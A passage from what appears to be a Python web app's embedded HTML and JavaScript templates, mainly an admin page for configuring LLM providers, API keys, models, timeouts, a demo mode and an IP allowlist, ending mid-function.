|
|
}
|
|
|
|
function updateDemoUI(active) {
|
|
const btn = document.getElementById('demo-toggle');
|
|
const banner = document.getElementById('demo-banner');
|
|
if (btn) {
|
|
btn.style.display = '';
|
|
btn.textContent = active ? 'Demo ON' : 'Demo';
|
|
btn.style.color = active ? '#22c55e' : 'var(--orange)';
|
|
btn.style.borderColor = active ? 'rgba(34,197,94,0.4)' : 'rgba(245,158,11,0.3)';
|
|
}
|
|
if (active) {
|
|
if (!banner) {
|
|
const b = document.createElement('div');
|
|
b.id = 'demo-banner';
|
|
b.style.cssText = 'position:fixed;top:0;left:0;right:0;background:linear-gradient(90deg,rgba(34,197,94,0.08),rgba(34,197,94,0.15),rgba(34,197,94,0.08));border-bottom:1px solid rgba(34,197,94,0.25);color:#22c55e;text-align:center;font-size:12px;padding:6px;z-index:50;font-weight:600;letter-spacing:1px';
|
|
b.textContent = 'DEMO MODE';
|
|
document.body.prepend(b);
|
|
}
|
|
} else if (banner) {
|
|
banner.remove();
|
|
}
|
|
}
|
|
|
|
async function toggleDemo() {
|
|
const r = await fetch('/api/demo/toggle', {method:'POST'});
|
|
const d = await r.json();
|
|
if (d.error) return;
|
|
updateDemoUI(d.active);
|
|
}
|
|
|
|
loadModels();
|
|
renderSamplePrompts();
|
|
checkDemo();
|
|
|
|
// Background grid animation
|
|
!function(){const c=document.getElementById('bg-grid');if(!c)return;const x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);let t=0;function draw(){x.clearRect(0,0,c.width,c.height);const s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(let gx=-s+ox;gx<c.width+s;gx+=s){for(let gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}}if(Math.random()>0.985){const ly=Math.random()*c.height;x.strokeStyle='rgba(226,181,90,0.012)';x.lineWidth=1;x.beginPath();x.moveTo(0,ly);x.lineTo(c.width,ly);x.stroke()}if(Math.random()>0.995){const lx=Math.random()*c.width;x.strokeStyle='rgba(226,181,90,0.008)';x.lineWidth=40;x.beginPath();x.moveTo(lx,0);x.lineTo(lx,c.height);x.stroke()}t++;requestAnimationFrame(draw)}draw()}();
|
|
</script>
|
|
<div id="repipe-overlay" class="repipe-overlay" onclick="if(event.target===this)closeRepipe()">
|
|
<div class="repipe-modal">
|
|
<div class="repipe-header">
|
|
<h3 id="repipe-title">Response</h3>
|
|
<button class="repipe-close" onclick="closeRepipe()">×</button>
|
|
</div>
|
|
<div class="repipe-body">
|
|
<div class="repipe-text" id="repipe-text"></div>
|
|
<div class="repipe-actions">
|
|
<button class="repipe-btn" onclick="repipeCopy()">Copy to Clipboard</button>
|
|
<button class="repipe-btn" onclick="repipeUseAsPrompt()">Replace Prompt</button>
|
|
<button class="repipe-btn" onclick="repipeAppendToPrompt()">Append to Prompt</button>
|
|
</div>
|
|
<div class="repipe-section">Re-pipe into mode</div>
|
|
<div class="repipe-modes" id="repipe-modes"></div>
|
|
<div class="repipe-actions" style="margin-top:10px">
|
|
<button class="repipe-btn primary" onclick="repipeRunNow()">Run Now</button>
|
|
<button class="repipe-btn" onclick="repipeRunInMode()">Load & Configure</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div id="history-overlay" class="history-overlay" onclick="toggleHistory()"></div>
|
|
<div id="history-panel" class="history-panel">
|
|
<div class="hp-header"><h2>History</h2><button class="hp-close" onclick="toggleHistory()">×</button></div>
|
|
<div id="hp-content"></div>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
"""
|
|
|
|
ADMIN_HTML = r"""
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>LLM Team - Admin</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root {
|
|
--bg: #08090c; --surface: rgba(14,16,22,0.82); --surface2: rgba(20,22,30,0.7); --border: #2a2d35;
|
|
--text: #e8e6e3; --text2: #7a7872; --accent: #e2b55a; --accent2: #f0cc74;
|
|
--green: #4ade80; --orange: #f59e0b; --red: #e05252; --blue: #5b9cf5;
|
|
--glow: rgba(226,181,90,0.06);
|
|
}
|
|
* { box-sizing: border-box; margin: 0; padding: 0; }
|
|
body { font-family: 'Inter', sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; overflow-x: hidden; }
|
|
canvas#bg-grid { position: fixed; inset: 0; z-index: 0; pointer-events: none; }
|
|
.scanlines { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,0,0,0.02) 2px, rgba(0,0,0,0.02) 4px); }
|
|
.container { max-width: 1100px; margin: 0 auto; padding: 16px 28px; position: relative; z-index: 10; }
|
|
header { display: flex; align-items: center; gap: 14px; padding: 18px 0; border-bottom: 2px solid var(--border); margin-bottom: 22px; }
|
|
header h1 { font-family: 'JetBrains Mono', monospace; font-size: 20px; font-weight: 700; letter-spacing: -0.5px; }
|
|
header h1 span { color: var(--accent); }
|
|
.tabs { display: flex; gap: 4px; margin-bottom: 20px; flex-wrap: wrap; }
|
|
.tab { padding: 8px 16px; background: transparent; border: 2px solid var(--border); border-radius: 2px; color: var(--text2); cursor: pointer; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.tab:hover { border-color: var(--accent); color: var(--text); }
|
|
.tab.active { border-color: var(--accent); background: var(--glow); color: var(--accent); }
|
|
.tab-content { display: none; }
|
|
.tab-content.active { display: block; }
|
|
.card { background: var(--surface); border: 2px solid var(--border); border-radius: 2px; padding: 20px; margin-bottom: 12px; backdrop-filter: blur(16px); position: relative; }
|
|
.card::before { content: ''; position: absolute; top: -1px; left: 16px; right: 16px; height: 1px; background: linear-gradient(90deg, transparent, rgba(226,181,90,0.15), transparent); }
|
|
.card h3 { font-family: 'JetBrains Mono', monospace; font-size: 13px; font-weight: 700; margin-bottom: 14px; display: flex; align-items: center; gap: 8px; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.card h3 .prov-dot { width: 8px; height: 8px; border-radius: 2px; }
|
|
.row { display: flex; gap: 10px; align-items: center; margin-bottom: 10px; font-size: 13px; }
|
|
.row label { width: 100px; color: var(--text2); flex-shrink: 0; font-weight: 600; font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.row input, .row select { flex: 1; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 8px 10px; font-size: 13px; }
|
|
.row input:focus, .row select:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
|
|
.toggle { position: relative; width: 40px; height: 22px; flex-shrink: 0; }
|
|
.toggle input { opacity: 0; width: 0; height: 0; }
|
|
.toggle .slider { position: absolute; inset: 0; background: var(--border); border-radius: 2px; cursor: pointer; transition: 0.2s; }
|
|
.toggle .slider::before { content: ''; position: absolute; width: 16px; height: 16px; left: 3px; bottom: 3px; background: var(--text2); border-radius: 2px; transition: 0.2s; }
|
|
.toggle input:checked + .slider { background: var(--accent); }
|
|
.toggle input:checked + .slider::before { transform: translateX(18px); background: #08090c; }
|
|
.btn { padding: 7px 14px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 10px; font-weight: 700; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.btn:hover { border-color: var(--accent); color: var(--accent); }
|
|
.btn-primary { background: var(--accent); border-color: var(--accent); color: #08090c; }
|
|
.btn-primary:hover { background: var(--accent2); }
|
|
.btn-sm { padding: 4px 10px; font-size: 9px; }
|
|
.btn-g,.btn-green { border-color: rgba(74,222,128,0.3); color: var(--green); }
|
|
.btn-g:hover,.btn-green:hover { border-color: var(--green); background: rgba(74,222,128,0.06); }
|
|
.btn-r,.btn-red { border-color: rgba(224,82,82,0.3); color: var(--red); }
|
|
.btn-r:hover,.btn-red:hover { border-color: var(--red); background: rgba(224,82,82,0.06); }
|
|
.toast { position: fixed; top: 20px; right: 20px; padding: 10px 18px; border-radius: 2px; font-size: 11px; z-index: 100; animation: fadeIn 0.2s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; border-width: 2px; border-style: solid; backdrop-filter: blur(16px); }
|
|
.toast.ok { background: rgba(74,222,128,0.1); border-color: var(--green); color: var(--green); box-shadow: 0 0 16px rgba(74,222,128,0.1); }
|
|
.toast.err { background: rgba(224,82,82,0.1); border-color: var(--red); color: var(--red); box-shadow: 0 0 16px rgba(224,82,82,0.1); }
|
|
.toast .toast-detail { font-size: 9px; opacity: 0.7; margin-top: 2px; text-transform: none; letter-spacing: 0; }
|
|
@keyframes fadeIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; } }
|
|
.model-row { display: flex; align-items: center; gap: 10px; padding: 8px 10px; background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; margin-bottom: 4px; font-size: 13px; }
|
|
.model-row .name { flex: 1; font-weight: 500; }
|
|
.model-row .meta { color: var(--text2); font-size: 10px; font-family: 'JetBrains Mono', monospace; }
|
|
.search-input { width: 100%; padding: 8px 12px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; color: var(--text); font-size: 13px; margin-bottom: 12px; }
|
|
.search-input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
|
|
.or-list { max-height: 500px; overflow-y: auto; }
|
|
.or-list::-webkit-scrollbar { width: 3px; }
|
|
.or-list::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.timeout-row { display: grid; grid-template-columns: 1fr 100px; gap: 10px; align-items: center; padding: 8px 0; font-size: 13px; border-bottom: 1px solid var(--border); }
|
|
.timeout-row:last-child { border: none; }
|
|
.timeout-row input { width: 80px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 4px 8px; font-size: 12px; text-align: center; font-family: 'JetBrains Mono', monospace; }
|
|
.section-title { font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: var(--accent); margin: 16px 0 10px; font-weight: 600; }
|
|
.empty { text-align: center; padding: 30px; color: var(--text2); font-size: 12px; font-family: 'JetBrains Mono', monospace; }
|
|
.nav-link { color: var(--text2); text-decoration: none; font-size: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; padding: 5px 10px; border: 2px solid var(--border); border-radius: 2px; }
|
|
.nav-link:hover { border-color: var(--accent); color: var(--accent); }
|
|
.nav-link.green { color: var(--green); border-color: rgba(74,222,128,0.2); }
|
|
.nav-link.orange { color: var(--orange); border-color: rgba(245,158,11,0.2); }
|
|
@media (max-width: 768px) { .tabs { gap: 3px; } .tab { padding: 6px 10px; font-size: 9px; } .card { padding: 14px; } }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="container">
|
|
<header>
|
|
<h1><span>LLM</span> Team Admin</h1>
|
|
<nav style="margin-left:auto;display:flex;gap:6px;align-items:center">
|
|
<a class="nav-link" href="/">Team</a>
|
|
<a class="nav-link green" href="/lab">Lab</a>
|
|
<a class="nav-link orange" href="/logs">Logs</a>
|
|
<a class="nav-link" href="/admin/monitor">Monitor</a>
|
|
<span style="width:2px;height:16px;background:var(--border);margin:0 2px"></span>
|
|
<a class="nav-link" href="/logout" style="opacity:0.4">Logout</a>
|
|
</nav>
|
|
</header>
|
|
<div class="tabs">
|
|
<div class="tab active" onclick="switchTab('providers')">Providers</div>
|
|
<div class="tab" onclick="switchTab('models')">Models</div>
|
|
<div class="tab" onclick="switchTab('openrouter')">OpenRouter</div>
|
|
<div class="tab" onclick="switchTab('timeouts')">Timeouts</div>
|
|
<div class="tab" onclick="switchTab('security')">Security</div>
|
|
</div>
|
|
|
|
<!-- PROVIDERS TAB -->
|
|
<div id="tab-providers" class="tab-content active">
|
|
<div class="card" id="prov-ollama">
|
|
<h3><div class="prov-dot" style="background:var(--green)"></div> Ollama (Local)
|
|
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="ollama-enabled" checked onchange="updateProvider('ollama')"><span class="slider"></span></label></h3>
|
|
<div class="row"><label>Base URL</label><input id="ollama-url" value="http://localhost:11434" onchange="updateProvider('ollama')"></div>
|
|
<div class="row"><label>Timeout (s)</label><input id="ollama-timeout" type="number" value="300" style="width:80px;flex:none" onchange="updateProvider('ollama')">
|
|
<button class="btn" onclick="testProvider('ollama')">Test</button></div>
|
|
</div>
|
|
<div class="card" id="prov-openrouter">
|
|
<h3><div class="prov-dot" style="background:var(--blue)"></div> OpenRouter
|
|
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="openrouter-enabled" onchange="updateProvider('openrouter')"><span class="slider"></span></label></h3>
|
|
<div class="row"><label>API Key</label><input id="openrouter-key" type="password" placeholder="sk-or-..." onchange="updateProvider('openrouter')">
|
|
<button class="btn btn-sm" onclick="toggleVis('openrouter-key')">Show</button></div>
|
|
<div class="row"><label>Base URL</label><input id="openrouter-url" value="https://openrouter.ai/api/v1" onchange="updateProvider('openrouter')"></div>
|
|
<div class="row"><label>Timeout (s)</label><input id="openrouter-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('openrouter')">
|
|
<button class="btn" onclick="testProvider('openrouter')">Test</button></div>
|
|
</div>
|
|
<div class="card" id="prov-openai">
|
|
<h3><div class="prov-dot" style="background:var(--accent2)"></div> OpenAI
|
|
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="openai-enabled" onchange="updateProvider('openai')"><span class="slider"></span></label></h3>
|
|
<div class="row"><label>API Key</label><input id="openai-key" type="password" placeholder="sk-..." onchange="updateProvider('openai')">
|
|
<button class="btn btn-sm" onclick="toggleVis('openai-key')">Show</button></div>
|
|
<div class="row"><label>Base URL</label><input id="openai-url" value="https://api.openai.com/v1" onchange="updateProvider('openai')"></div>
|
|
<div class="row"><label>Timeout (s)</label><input id="openai-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('openai')">
|
|
<button class="btn" onclick="testProvider('openai')">Test</button></div>
|
|
</div>
|
|
<div class="card" id="prov-anthropic">
|
|
<h3><div class="prov-dot" style="background:#ec4899"></div> Anthropic
|
|
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="anthropic-enabled" onchange="updateProvider('anthropic')"><span class="slider"></span></label></h3>
|
|
<div class="row"><label>API Key</label><input id="anthropic-key" type="password" placeholder="sk-ant-..." onchange="updateProvider('anthropic')">
|
|
<button class="btn btn-sm" onclick="toggleVis('anthropic-key')">Show</button></div>
|
|
<div class="row"><label>Base URL</label><input id="anthropic-url" value="https://api.anthropic.com/v1" onchange="updateProvider('anthropic')"></div>
|
|
<div class="row"><label>Timeout (s)</label><input id="anthropic-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('anthropic')">
|
|
<button class="btn" onclick="testProvider('anthropic')">Test</button></div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- MODELS TAB -->
|
|
<div id="tab-models" class="tab-content">
|
|
<div class="card">
|
|
<h3>Local Models (Ollama)</h3>
|
|
<div id="ollama-model-list"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Cloud Models <button class="btn btn-sm btn-primary" style="margin-left:auto" onclick="showAddCloud()">+ Add Model</button></h3>
|
|
<div id="cloud-model-list"><div class="empty">No cloud models configured.</div></div>
|
|
</div>
|
|
<div id="add-cloud-modal" class="card" style="display:none;border-color:var(--accent)">
|
|
<h3>Add Cloud Model</h3>
|
|
<div class="row"><label>Provider</label><select id="add-cloud-prov"><option value="openrouter">OpenRouter</option><option value="openai">OpenAI</option><option value="anthropic">Anthropic</option></select></div>
|
|
<div class="row"><label>Model ID</label><input id="add-cloud-id" placeholder="e.g. meta-llama/llama-3-8b-instruct:free"></div>
|
|
<div class="row"><label>Display Name</label><input id="add-cloud-name" placeholder="e.g. Llama 3 8B Free"></div>
|
|
<div class="row" style="justify-content:flex-end;gap:6px">
|
|
<button class="btn" onclick="hideAddCloud()">Cancel</button>
|
|
<button class="btn btn-primary" onclick="addCloudModel()">Add</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- OPENROUTER TAB -->
|
|
<div id="tab-openrouter" class="tab-content">
|
|
<div class="card">
|
|
<h3>Free Models on OpenRouter <button class="btn btn-primary" style="margin-left:auto" onclick="fetchORModels()">Fetch Models</button></h3>
|
|
<input class="search-input" id="or-search" placeholder="Search models..." oninput="filterOR()">
|
|
<div class="or-list" id="or-model-list"><div class="empty">Click "Fetch Models" to load the list.</div></div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- TIMEOUTS TAB -->
|
|
<div id="tab-timeouts" class="tab-content">
|
|
<div class="card">
|
|
<h3>Global Default</h3>
|
|
<div class="row"><label>Timeout (s)</label><input id="global-timeout" type="number" value="300" style="width:100px;flex:none" onchange="saveTimeouts()"></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Per-Model Overrides</h3>
|
|
<div id="timeout-list"><div class="empty">Loading models...</div></div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- DEMO & SECURITY TAB -->
|
|
<div id="tab-security" class="tab-content">
|
|
<div class="card">
|
|
<h3>Demo Mode
|
|
<button class="btn" id="admin-demo-btn" style="margin-left:auto" onclick="adminToggleDemo()">Enable Demo</button>
|
|
</h3>
|
|
<p style="font-size:12px;color:var(--text2);margin-bottom:10px">When active, the public can view and use the Team UI, Lab, and all modes without logging in. Admin settings (API keys, config saves) are read-only for non-admins.</p>
|
|
<div id="demo-status-admin" style="font-size:13px">Status: <strong style="color:var(--text2)">Off</strong></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>IP Allowlist <button class="btn" style="margin-left:auto" onclick="addAllowlistIP()">+ Add IP</button></h3>
|
|
<p style="font-size:12px;color:var(--text2);margin-bottom:10px">These IPs are never rate-limited. Your local network (192.168.1.*) is always allowed.</p>
|
|
<div id="allowlist"></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
let config = {};
|
|
let orModels = [];
|
|
|
|
async function loadConfig() {
|
|
const r = await fetch('/api/admin/config');
|
|
config = await r.json();
|
|
applyConfig();
|
|
}
|
|
|
|
function applyConfig() {
|
|
const p = config.providers || {};
|
|
for (const [name, prov] of Object.entries(p)) {
|
|
const en = document.getElementById(name+'-enabled');
|
|
if (en) en.checked = prov.enabled;
|
|
const url = document.getElementById(name+'-url');
|
|
if (url) url.value = prov.base_url || '';
|
|
const to = document.getElementById(name+'-timeout');
|
|
if (to) to.value = prov.timeout || 120;
|
|
const key = document.getElementById(name+'-key');
|
|
if (key && prov.api_key_set) key.placeholder = '••••••• (key set)';
|
|
}
|
|
document.getElementById('global-timeout').value = (config.timeouts||{}).global || 300;
|
|
loadOllamaModels();
|
|
renderCloudModels();
|
|
renderTimeouts();
|
|
}
|
|
|
|
async function loadOllamaModels() {
|
|
const r = await fetch('/api/admin/ollama-models');
|
|
const data = await r.json();
|
|
const el = document.getElementById('ollama-model-list');
|
|
if (!data.models.length) { el.innerHTML = '<div class="empty">No Ollama models found.</div>'; return; }
|
|
el.innerHTML = data.models.map(m => `
|
|
<div class="model-row">
|
|
<label class="toggle"><input type="checkbox" ${m.disabled?'':'checked'} onchange="toggleOllama('${m.name}',this.checked)"><span class="slider"></span></label>
|
|
<span class="name">${m.name}</span>
|
|
<span class="meta">${m.size}</span>
|
|
</div>`).join('');
|
|
}
|
|
|
|
function renderCloudModels() {
|
|
const el = document.getElementById('cloud-model-list');
|
|
const cms = config.cloud_models || [];
|
|
if (!cms.length) { el.innerHTML = '<div class="empty">No cloud models configured. Add some from the OpenRouter tab or manually.</div>'; return; }
|
|
el.innerHTML = cms.map((m,i) => `
|
|
<div class="model-row">
|
|
<label class="toggle"><input type="checkbox" ${m.enabled!==false?'checked':''} onchange="toggleCloud(${i},this.checked)"><span class="slider"></span></label>
|
|
<span class="name">${m.display_name || m.id}</span>
|
|
<span class="meta">${m.id.split('::')[0]}</span>
|
|
<button class="btn btn-sm btn-red" onclick="removeCloud(${i})">Remove</button>
|
|
</div>`).join('');
|
|
}
|
|
|
|
function renderTimeouts() {
|
|
const el = document.getElementById('timeout-list');
|
|
// merge all known models
|
|
const models = [];
|
|
const cms = config.cloud_models || [];
|
|
// we'll load from the combined /api/models
|
|
fetch('/api/models').then(r=>r.json()).then(data => {
|
|
const per = (config.timeouts||{}).per_model || {};
|
|
if (!data.models.length) { el.innerHTML = '<div class="empty">No models available.</div>'; return; }
|
|
el.innerHTML = data.models.map(m => `
|
|
<div class="timeout-row">
|
|
<span>${m.display_name || m.name} <span style="color:var(--text2);font-size:10px">(${m.provider_label})</span></span>
|
|
<input type="number" value="${per[m.name] || ''}" placeholder="${(config.timeouts||{}).global||300}" onchange="setModelTimeout('${m.name}',this.value)">
|
|
</div>`).join('');
|
|
});
|
|
}
|
|
|
|
async function updateProvider(name) {
|
|
var prov = {};
|
|
var en = document.getElementById(name+'-enabled');
|
|
if (en) prov.enabled = en.checked;
|
|
var url = document.getElementById(name+'-url');
|
|
if (url) prov.base_url = url.value;
|
|
var to = document.getElementById(name+'-timeout');
|
|
if (to) prov.timeout = parseInt(to.value) || 120;
|
|
var key = document.getElementById(name+'-key');
|
|
if (key && key.value) prov.api_key = key.value;
|
|
var body = {providers: {}};
|
|
body.providers[name] = prov;
|
|
try {
|
|
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
|
|
var d = await r.json();
|
|
if (d.ok) toast(name + ' provider saved', true, en ? (prov.enabled ? 'Enabled' : 'Disabled') : '');
|
|
else toast('Save failed: ' + (d.error || 'unknown'), false);
|
|
} catch(e) { toast('Save failed: ' + e.message, false); }
|
|
}
|
|
|
|
async function testProvider(name) {
|
|
const key = document.getElementById(name+'-key');
|
|
const body = {provider: name};
|
|
if (key && key.value) body.api_key = key.value;
|
|
const r = await fetch('/api/admin/test-provider', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
|
|
const data = await r.json();
|
|
toast(data.message, data.ok);
|
|
}
|
|
|
|
async function toggleOllama(name, enabled) {
|
|
config.disabled_models = config.disabled_models || [];
|
|
if (enabled) {
|
|
config.disabled_models = config.disabled_models.filter(function(m) { return m !== name; });
|
|
} else {
|
|
if (!config.disabled_models.includes(name)) config.disabled_models.push(name);
|
|
}
|
|
try {
|
|
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
|
|
body:JSON.stringify({disabled_models: config.disabled_models})});
|
|
var d = await r.json();
|
|
if (d.ok) toast(name + ' ' + (enabled ? 'enabled' : 'disabled'), true);
|
|
else toast('Failed to save model state', false);
|
|
} catch(e) { toast('Save error: ' + e.message, false); }
|
|
}
|
|
|
|
function toggleCloud(idx, enabled) {
|
|
config.cloud_models[idx].enabled = enabled;
|
|
saveCloudModels();
|
|
}
|
|
|
|
function removeCloud(idx) {
|
|
config.cloud_models.splice(idx, 1);
|
|
saveCloudModels();
|
|
renderCloudModels();
|
|
}
|
|
|
|
async function saveCloudModels() {
|
|
try {
|
|
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
|
|
body:JSON.stringify({cloud_models: config.cloud_models})});
|
|
var d = await r.json();
|
|
if (d.ok) toast('Cloud models saved', true, (config.cloud_models||[]).length + ' models configured');
|
|
else toast('Save failed', false);
|
|
} catch(e) { toast('Save error: ' + e.message, false); }
|
|
}
|
|
|
|
function showAddCloud() { document.getElementById('add-cloud-modal').style.display = ''; }
|
|
function hideAddCloud() { document.getElementById('add-cloud-modal').style.display = 'none'; }
|
|
|
|
async function addCloudModel() {
|
|
const prov = document.getElementById('add-cloud-prov').value;
|
|
const id = document.getElementById('add-cloud-id').value.trim();
|
|
const name = document.getElementById('add-cloud-name').value.trim();
|
|
if (!id) return toast('Model ID required', false);
|
|
config.cloud_models = config.cloud_models || [];
|
|
config.cloud_models.push({id: prov+'::'+id, display_name: name || id, enabled: true});
|
|
await saveCloudModels();
|
|
renderCloudModels();
|
|
hideAddCloud();
|
|
document.getElementById('add-cloud-id').value = '';
|
|
document.getElementById('add-cloud-name').value = '';
|
|
}
|
|
|
|
async function fetchORModels() {
|
|
const el = document.getElementById('or-model-list');
|
|
el.innerHTML = '<div class="empty">Fetching...</div>';
|
|
const r = await fetch('/api/admin/openrouter/models');
|
|
const data = await r.json();
|
|
orModels = data.models || [];
|
|
if (data.error) { el.innerHTML = '<div class="empty" style="color:var(--red)">Error: '+data.error+'</div>'; return; }
|
|
renderORModels();
|
|
}
|
|
|
|
function renderORModels() {
|
|
const q = (document.getElementById('or-search').value || '').toLowerCase();
|
|
const filtered = q ? orModels.filter(m => m.name.toLowerCase().includes(q) || m.id.toLowerCase().includes(q)) : orModels;
|
|
const el = document.getElementById('or-model-list');
|
|
if (!filtered.length) { el.innerHTML = '<div class="empty">No models found.</div>'; return; }
|
|
const existing = new Set((config.cloud_models||[]).map(m=>m.id));
|
|
el.innerHTML = filtered.map(m => {
|
|
const added = existing.has('openrouter::'+m.id);
|
|
const ctx = m.context_length ? (m.context_length/1000).toFixed(0)+'K' : '?';
|
|
return `<div class="model-row">
|
|
<span class="name">${m.name}</span>
|
|
<span class="meta">${ctx} ctx</span>
|
|
${added
|
|
? '<button class="btn btn-sm" disabled style="opacity:0.4">Added</button>'
|
|
: `<button class="btn btn-sm btn-green" onclick="addOR('${m.id}','${m.name.replace(/'/g,"\\'")}')">Add</button>`}
|
|
</div>`;
|
|
}).join('');
|
|
}
|
|
|
|
function filterOR() { renderORModels(); }
|
|
|
|
async function addOR(id, name) {
|
|
config.cloud_models = config.cloud_models || [];
|
|
config.cloud_models.push({id: 'openrouter::'+id, display_name: name, enabled: true});
|
|
await saveCloudModels();
|
|
renderORModels();
|
|
toast('Added: ' + name);
|
|
}
|
|
|
|
async function saveTimeouts() {
|
|
var g = parseInt(document.getElementById('global-timeout').value) || 300;
|
|
config.timeouts = config.timeouts || {};
|
|
config.timeouts.global = g;
|
|
try {
|
|
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
|
|
body:JSON.stringify({timeouts: config.timeouts})});
|
|
var d = await r.json();
|
|
var perCount = Object.keys((config.timeouts||{}).per_model||{}).length;
|
|
if (d.ok) toast('Timeouts saved', true, 'Global: ' + g + 's' + (perCount ? ', ' + perCount + ' overrides' : ''));
|
|
else toast('Save failed', false);
|
|
} catch(e) { toast('Save error: ' + e.message, false); }
|
|
}
|
|
|
|
function setModelTimeout(name, val) {
|
|
config.timeouts = config.timeouts || {};
|
|
config.timeouts.per_model = config.timeouts.per_model || {};
|
|
if (val && parseInt(val)) {
|
|
config.timeouts.per_model[name] = parseInt(val);
|
|
} else {
|
|
delete config.timeouts.per_model[name];
|
|
}
|
|
saveTimeouts();
|
|
}
|
|
|
|
function toggleVis(id) {
|
|
const el = document.getElementById(id);
|
|
el.type = el.type === 'password' ? 'text' : 'password';
|
|
}
|
|
|
|
function switchTab(name) {
|
|
document.querySelectorAll('.tab').forEach((t,i) => t.classList.toggle('active', t.textContent.toLowerCase().includes(name.substring(0,4))));
|
|
document.querySelectorAll('.tab-content').forEach(c => c.classList.toggle('active', c.id === 'tab-'+name));
|
|
if (name === 'timeouts') renderTimeouts();
|
|
if (name === 'models') { loadOllamaModels(); renderCloudModels(); }
|
|
if (name === 'security') { loadDemoStatus(); loadAllowlist(); }
|
|
}
|
|
|
|
async function loadDemoStatus() {
|
|
const r = await fetch('/api/demo/status');
|
|
const d = await r.json();
|
|
const btn = document.getElementById('admin-demo-btn');
|
|
const st = document.getElementById('demo-status-admin');
|
|
if (d.active) {
|
|
btn.textContent = 'Disable Demo';
|
|
btn.className = 'btn btn-r';
|
|
st.innerHTML = 'Status: <strong style="color:var(--green)">ON</strong>' + (d.started_by ? ' (by ' + d.started_by + ')' : '');
|
|
} else {
|
|
btn.textContent = 'Enable Demo';
|
|
btn.className = 'btn btn-g';
|
|
st.innerHTML = 'Status: <strong style="color:var(--text2)">Off</strong>';
|
|
}
|
|
}
|
|
|
|
async function adminToggleDemo() {
|
|
await fetch('/api/demo/toggle', {method:'POST'});
|
|
loadDemoStatus();
|
|
toast('Demo mode toggled');
|
|
}
|
|
|
|
async function loadAllowlist() {
|
|
const r = await fetch('/api/demo/allowlist');
|
|
const d = await r.json();
|
|
const el = document.getElementById('allowlist');
|
|
if (!d.ips || !d.ips.length) { el.innerHTML = '<div class="empty">No IPs in allowlist.</div>'; return; }
|
|
el.innerHTML = d.ips.map(ip =>
|
|
`<div class="model-row"><span class="name">${ip}</span>${ip.startsWith('192.168.1.') ? '<span class="meta">LAN</span>' : ''}<button class="btn btn-sm btn-r" onclick="removeAllowIP('${ip}')">Remove</button></div>`
|
|
).join('');
|
|
}
|
|
|
|
async function addAllowlistIP() {
|
|
const ip = prompt('Enter IP address to allowlist:');
|
|
if (!ip) return;
|
|
await fetch('/api/demo/allowlist', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({ip, action:'add'})});
|
|
loadAllowlist();
|
|
toast('Added ' + ip);
|
|
}
|
|
|
|
async function removeAllowIP(ip) {
|
|
